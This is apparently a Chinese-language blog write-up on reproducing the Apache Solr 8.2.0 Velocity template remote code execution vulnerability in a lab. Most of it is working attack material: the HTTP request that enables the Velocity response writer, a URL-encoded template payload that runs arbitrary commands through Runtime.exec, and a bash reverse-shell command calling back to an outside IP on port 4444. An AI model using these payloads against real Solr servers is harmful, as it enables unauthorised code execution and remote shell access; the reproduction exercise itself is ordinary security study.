Solr Velocity远程代码执行

前言

  复现此漏洞可以在win平台搭建环境,但我建议在linux下搭建,因为可以接触到不一样的bash反弹shell姿势。

环境搭建

  https://archive.apache.org/dist/lucene/solr/8.2.0/ 下载到linux上后。

cd solr-8.2.0/bin/
./solr start -p 8984 -force # 启动solr

  访问http://127.0.0.1:8984/
  
  因为刚开始安装是没有配置core值的,需要将server/solr/configsets/_default/conf/复制到 server/solr/

cp server/solr/configsets/_default/conf/ -r server/solr/core

 如下图所示,然后点击add core
 
 访问http://127.0.0.1:8984/solr/core/config 这两行都是true才能后面的利用
 

本地利用

  首先发送数据包

POST /solr/core/config HTTP/1.1
Host: 192.168.127.132:8984 # 注意这里的ip地址
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

  
  测试payload为
  /solr/core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
  
  中间的exec(‘payload’),payload为执行的命令

bash反弹shell

  当payload存在 |,<,>等符号就会报错无法执行,所以原来的payload为:/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.168/4444 0>&1',要经过处理。
  访问http://www.jackson-t.ca/runtime-exec-payloads.html ,填入转换后的payload
  
  即可成功用bash反弹shell
  

查看评论 -
评论